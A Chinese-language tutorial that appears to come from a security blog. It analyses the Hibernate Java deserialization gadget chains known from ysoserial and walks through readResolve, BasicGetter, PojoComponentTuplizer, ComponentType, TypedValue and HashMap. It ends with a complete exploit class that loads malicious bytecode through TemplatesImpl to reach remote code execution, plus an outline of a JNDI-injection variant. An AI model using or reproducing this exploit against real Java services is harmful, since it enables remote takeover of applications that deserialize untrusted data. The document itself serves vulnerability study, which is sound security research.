Hibernate Gadget Learn
0x01.Hibernate 简介
Hibernate是一个开放源代码的对象关系映射框架,它对JDBC进行了非常轻量级的对象封装,它将POJO与数据库表建立映射关系,是一个全自动的ORM框架,hibernate可以自动生成SQL语句,自动执行,使得Java程序员可以随心所欲的使用对象编程思维来操纵数据库。 Hibernate可以应用在任何使用JDBC的场合,既可以在Java的客户端程序使用,也可以在Servlet/JSP的Web应用中使用,最具革命意义的是,Hibernate可以在应用EJB的JaveEE架构中取代CMP,完成数据持久化的重任。
0x02.readResolve
先给出结论,当类中重写了readResolve方法时,在反序列化的过程中会自动调用这个方法,这个方法实际上是为了序列化和反序列化时维护单例模式而产生的。
因为在序列化时会破坏单例,举个例子,我们生成如下的demo类:
package com.example;
import java.io.Serializable;
public class SingletonTest implements Serializable {
private SingletonTest(){
}
private static final SingletonTest test = new SingletonTest();
public static SingletonTest getInstance(){
return test;
}
}
为了维持单例,我们通过getInstance
方法来唯一的获取实例,而不能通过构造方法实现,这里我们编写一个测试类来看看序列化和反序列化的结果:
public static void main(String[] args) {
SingletonTest test1 = SingletonTest.getInstance();
SingletonTest test2 = null;
try {
// 序列化test1
byte[] bytes = Utils.Serialize(test1);
test2 = Utils.Unserialize(bytes);
System.out.println(test1 == test2);
}catch (Exception e){
e.printStackTrace();
}
}
在这里可以看到,我们想要维护单例状态的目的被序列化打破了,反序列化得到的对象和通过
getInstance
得到的不是一个对象,运行结果可以看出,序列化破坏了单例,产生了多个实例。 那我们如何解决呢?可以通过编写getResolve
方法:
源码层面剖析
我们来看readObject
方法:
跟进
readObject0
方法,这里会对Type进行枚举,由于我们的序列化数据是Object,因此我们对应Object的处理部分即可:- checkResolve:检查对象,并替换
- readOrdinaryObject:读取二进制对象
我们先进入readOrdinaryObject()方法
可以看到,readOrdinaryObject()
方法是通过desc.isInstantiable()
来判断是否需要new一个对象,如果返回true,方法通过反射的方式调用无参构造方法新建一个对象,否则,返回空。 那我们进入isInstantiable()
方法
cons != null
是判断类的构造方法是否为空,我们大家应该知道,Class类的构造方法肯定不为空,显然isInstantiable()
返回true,也就是说,一定会new 一个对象,且被obj接收。
回到readOrdinaryObject()
方法,查看初始化完成后的操作。
如果这个if语句成立,就会调用
desc.invokeReadResolve
方法,并且最终将反序列化得到的obj替换为调用这个方法后的对象,换句话说:若目标类有readResolve
方法,那就通过反射的方式调用要被反序列化的类中的readResolve
方法,返回一个对象,然后把这个新的对象复制给之前创建的obj(即最终返回的对象)
0x03.Gadget分析
触发点处于org.hibernate.property.BasicPropertyAccessor.BasicGetter#get
方法中,这个方法会调用参数类的任意方法:
寻找调用链,在
org.hibernate.tuple.component.AbstractComponentTuplizer#getPropertyValue
调用了getter
的get方法,而这里的getter
属性是Getter
接口的数组,因此当传入BasicGetter
对象时,实际上会调用BasicGetter的get方法
但这里AbstractComponentTuplizer
是抽象类,因此我们需要找到一个子类来承接,这里找到了PojoComponentTuplizer
类实现了getPropertyValue
:
继续向上寻找调用链,可以发现ComponentType
实现了getPropertyValue
方法
该类的getHashCode
方法实现了对其调用,并且传入的参数为我们要执行任意方法的对象,
而在org.hibernate.engine.spi.TypedValue
中的initTransients
方法中调用了上面的方法,并且type和value都可以通过构造方法设置
继续向上分析调用链,发现最终在readObject中调用了initTransients
方法,这样一条完整的Gadget就呼之欲出了
利用细节
上面的Gadget很清晰,也比较容易构造,但在此处还是需要注意一些细节,回到触发点:
这里的method
属性通过transient
关键词修饰,也就是说当我们通过writeObject去给method属性赋值时,是不会将method属性的内容写入到序列化数据中的。
这里就运用到了我们前置知识所说的readResolve
方法,我们来看一下该类的readResolve
:
调用createGetter方法获取一个
BasicSetter
对象,之所以写在readResolve中,主要是为了让序列化和反序列化过程中,BasicGetter对象保持单例。
我们跟进createGetter
方法中:
继续跟进:
在
getGetterOrNull
方法中,通过getterMethod
方法获取method对象,并通过BasicGetter的构造方法为该对象赋值。
这里把getterMethod
方法提取出来:
private static Method getterMethod(Class theClass, String propertyName) {
Method[] methods = theClass.getDeclaredMethods();
for ( Method method : methods ) {
// if the method has parameters, skip it
if ( method.getParameterTypes().length != 0 ) {
continue;
}
// if the method is a "bridge", skip it
if ( method.isBridge() ) {
continue;
}
final String methodName = method.getName();
// try "get"
if ( methodName.startsWith( "get" ) ) {
String testStdMethod = Introspector.decapitalize( methodName.substring( 3 ) );
String testOldMethod = methodName.substring( 3 );
if ( testStdMethod.equals( propertyName ) || testOldMethod.equals( propertyName ) ) {
return method;
}
}
// if not "get", then try "is"
if ( methodName.startsWith( "is" ) ) {
String testStdMethod = Introspector.decapitalize( methodName.substring( 2 ) );
String testOldMethod = methodName.substring( 2 );
if ( testStdMethod.equals( propertyName ) || testOldMethod.equals( propertyName ) ) {
return method;
}
}
}
return null;
}
该方法的作用是遍历theClass
中的所有方法,查找以get或is开头的并且去掉get或is后和propertyName
相同的method并返回。
而这两个属性我们都可以通过构造方法传递,因此对于我们来说是可控的,可以通过控制这两个属性来间接给method属性传值。
既然可以调用任意类的getter
方法,因此自然想到了TemplatesImpl
来加载恶意字节码类实现RCE
0x04.构造Poc
知道了大致的链子之后,再来从触发点到反序列化点梳理一遍,触发点在BasicGetter
类中的get
方法,我们想要调用TemplatesImpl类的getOutputProperties
方法:
由于这里该类的Method属性是transiant修饰,而由于该类重写了readResolve
方法,反序列化时会返回readResolve
方法返回的对象,
反序列化后这里就会通过对应的propertyName
找到getter来生成这个BasicSetter对象,这样就绕过了transiant修饰符的限制
因此这一部分我们通过反射的方式来生成:
从basicGetter的getMethod方法可以看出,这一部分已经被我们构造完成,下面继续向上构造
得到BasicGetter对象后,要将BasicGetter的内容赋值到AbstractComponentTuplizer
的getters属性中,该类是一个抽象类,因此我们要找其实现类PojoComponentTuplizer
这个类如果使用构造方法实例化并不是特别方便,这里通过无参构造的方式,调用ReflectionFactory
来实例化该类,然后在反射修改其父类的getters
属性为BasicGetter
对象数组:
这里可以通过pojoComponentTuplizer.getPropertyValue(templates,0);
来进行简单的验证,从这里到触发点都是没有问题的,下面继续向上构造
找到
ComponentType
类中会调用componentTuplizer
的getPropertyValue
,并且componentTuplizer
是ComponentTuplizer
类,而pojoComponentTuplizer
间接继承它,因此是一个完美的贴合,由于ComponentType
的构造方法也不方便,同样采取无参构造的方式,再来反射修改其属性
通过可以通过componentType.getPropertyValue(templates,0);
来验证链是否完整
继续向上构造,这里我们主要利用componentType
的getHashCode
方法
这里我们只需要调用一次,因此将propertySpan
属性修改为1即可:
继续向上构造,这里发现TypedValue
的initTransients
调用了getHashCode方法,并且initTransients
又在反序列化时调用
而Type和Value均可控,因此在这里我们将value设置为TemplatesImpl实例,而Type则设置为componentType
到这里Hibernate1的Gadget就结束了,但是真的如此吗?
0x05. 完整Gadget
我们先来反序列化测试一下:
发现在反序列化时并不会调用这个匿名内部类中的方法,因为在这里直接调用initTransients
方法时,其目的只是给this.hashcode做一个方法的声明,并不会调用内部类中的initialize
方法,只有在hashcode初始化时,才会调用内部类的方法。
因此我们如果调用typedValue的hashcode方法,这里会进行hashcode初始化操作:
会调用initialize方法从而最后实现RCE,提到这里既然可以通过调用TypedValue
类的hashcode方法,而我们知道HashMap
反序列化的最终结果就是调用任意类的hashcode方法,因此完整的Gadget呼之欲出了
贴一下完整的EXP:
package com.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.BasicPropertyAccessor;
import org.hibernate.property.Getter;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;
import sun.reflect.ReflectionFactory;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
public class Gadget1 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = Utils.makeTemplatesImpl();
Method getOutputProperties = templates.getClass().getDeclaredMethod("getOutputProperties");
Class<BasicPropertyAccessor.BasicGetter> basicGetterClass = (Class<BasicPropertyAccessor.BasicGetter>) Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> basicCons = basicGetterClass.getDeclaredConstructor(Class.class, Method.class,String.class);
basicCons.setAccessible(true);
BasicPropertyAccessor.BasicGetter basicGetter = (BasicPropertyAccessor.BasicGetter) basicCons.newInstance(templates.getClass(),getOutputProperties,"OutputProperties");
// 实例化 PojoComponent
Class<PojoComponentTuplizer> pojoComponentTuplizerClass = (Class<PojoComponentTuplizer>) Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
Constructor<?> pojoCons = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(pojoComponentTuplizerClass,Object.class.getDeclaredConstructor());
pojoCons.setAccessible(true);
PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) pojoCons.newInstance();
Utils.setFieldValue(pojoComponentTuplizer,"getters", new Getter[]{basicGetter});
// 实例化 ComponentType
Class<ComponentType> componentTypeClass = (Class<ComponentType>) Class.forName("org.hibernate.type.ComponentType");
Constructor<?> componetCons = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(componentTypeClass,Object.class.getDeclaredConstructor());
componetCons.setAccessible(true);
ComponentType componentType = (ComponentType) componetCons.newInstance();
Utils.setFieldValue(componentType,"componentTuplizer", pojoComponentTuplizer);
Utils.setFieldValue(componentType,"propertySpan",1);
// 实例化TypedValue
TypedValue typedValue = new TypedValue(componentType,templates);
// 接 HashMap 反序列化
HashMap map = new HashMap();
Utils.setFieldValue(map, "size", 1);
Class clazz5 = Class.forName("java.util.HashMap$Node");
Constructor nodeCons = clazz5.getDeclaredConstructor(int.class, Object.class, Object.class, clazz5);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(clazz5,1);
Array.set(tbl, 0, nodeCons.newInstance(1,typedValue,typedValue,null));
Utils.setFieldValue(map,"table",tbl);
byte[] bytes = Utils.Serialize(map);
Utils.Unserialize(bytes);
}
}
0x06. Hibernate2 Gadget
yso里面存在两种Hibernate的利用方式,第一种已经详细分析过了,而第二种前面的利用链和前者可以说是一模一样的,只是在最后调用getter
方法时,使用了JdbcRowTemplate
来进行JNDI注入
利用getDatabaseMetaData
方法中的connect方法来实现JNDI注入
这里以JDK 8u91为例,因为高版本还需要进行相关绕过:
当jdk版本大于等于JDK 6u132、JDK 7u122、JDK 8u113 之后,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase的默认值变为false,即默认不允许RMI、cosnaming从远程的Codebase加载Reference工厂类。
成功触发JNDI,实现RCE